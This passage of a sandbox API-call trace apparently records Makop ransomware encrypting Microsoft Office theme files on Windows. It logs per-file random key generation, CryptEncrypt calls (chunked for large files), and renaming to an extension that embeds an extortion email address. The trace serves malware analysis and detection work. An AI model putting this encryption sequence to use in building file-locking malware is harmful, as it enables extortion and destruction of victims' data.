[0159.187] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.187] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.187] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.187] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.188] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.188] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.188] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.188] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x825e4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x825e4, lpOverlapped=0x0) returned 1 [0159.202] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x825f0, dwBufLen=0x825f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x825f0) returned 1 [0159.207] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.207] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x825f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x825f0, lpOverlapped=0x0) returned 1 [0159.211] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.211] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x826c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.211] SetEndOfFile (hFile=0xf0) returned 1 [0159.218] GetProcessHeap () returned 0x48a0000 [0159.218] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.218] GetProcessHeap () returned 0x48a0000 [0159.218] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.219] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0159.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.220] CloseHandle (hObject=0xf0) returned 1 [0159.221] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.eftx", cAlternateFileName="CONCOU~1.EFT")) returned 1 [0159.221] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0159.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.222] GetProcessHeap () returned 0x48a0000 [0159.222] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.222] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.222] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.222] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0159.227] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.227] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.228] GetProcessHeap () returned 0x48a0000 [0159.228] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.228] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.228] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.228] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.228] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.228] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.228] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.229] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.229] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.229] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.229] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.229] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.229] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5791, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5791, lpOverlapped=0x0) returned 1 [0159.232] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x57a0, dwBufLen=0x57a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x57a0) returned 1 [0159.233] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.233] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x57a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x57a0, lpOverlapped=0x0) returned 1 [0159.233] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.233] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.234] SetEndOfFile (hFile=0xf0) returned 1 [0159.240] GetProcessHeap () returned 0x48a0000 [0159.240] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.240] GetProcessHeap () returned 0x48a0000 [0159.240] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.240] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0159.240] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.243] CloseHandle (hObject=0xf0) returned 1 [0159.243] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72791b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a4db00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72791b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e0721, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.eftx", cAlternateFileName="COUTUR~1.EFT")) returned 1 [0159.243] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0159.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.244] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=1967905) returned 1 [0159.245] GetProcessHeap () returned 0x48a0000 [0159.245] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.245] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.245] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.245] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa4*=0xf, lpOverlapped=0x0) returned 1 [0159.249] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0159.249] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.250] GetProcessHeap () returned 0x48a0000 [0159.250] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.250] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a88*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a88*=0x40) returned 1 [0159.250] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.250] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa4*=0x40, lpOverlapped=0x0) returned 1 [0159.250] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0159.250] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0159.250] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0159.251] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.251] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0159.251] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0159.251] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.251] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0159.251] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0159.259] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0159.266] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.266] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0159.268] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e0804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.268] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0159.268] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa0260, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0159.268] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0159.278] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0159.281] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa0260, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.281] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0159.283] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e0804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.283] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0159.283] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a0730, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0159.284] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0159.301] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0159.304] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a0730, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.304] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0159.306] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e0804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.306] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0159.306] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.306] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e0804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.307] SetEndOfFile (hFile=0xf0) returned 1 [0159.315] GetProcessHeap () returned 0x48a0000 [0159.315] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.315] GetProcessHeap () returned 0x48a0000 [0159.315] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.315] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0159.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.317] CloseHandle (hObject=0xf0) returned 1 [0159.317] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760ca200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x760ca200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4caa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.eftx", cAlternateFileName="ELEMEN~1.EFT")) returned 1 [0159.317] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0159.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.318] GetProcessHeap () returned 0x48a0000 [0159.319] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.319] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.319] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.319] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0159.324] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.324] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.324] GetProcessHeap () returned 0x48a0000 [0159.324] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.324] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.324] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.324] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.325] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.325] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.325] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.325] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.325] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.326] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.326] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4caa1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4caa1, lpOverlapped=0x0) returned 1 [0159.335] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4cab0, dwBufLen=0x4cab0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4cab0) returned 1 [0159.338] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.339] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4cab0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4cab0, lpOverlapped=0x0) returned 1 [0159.341] CryptDestroyKey 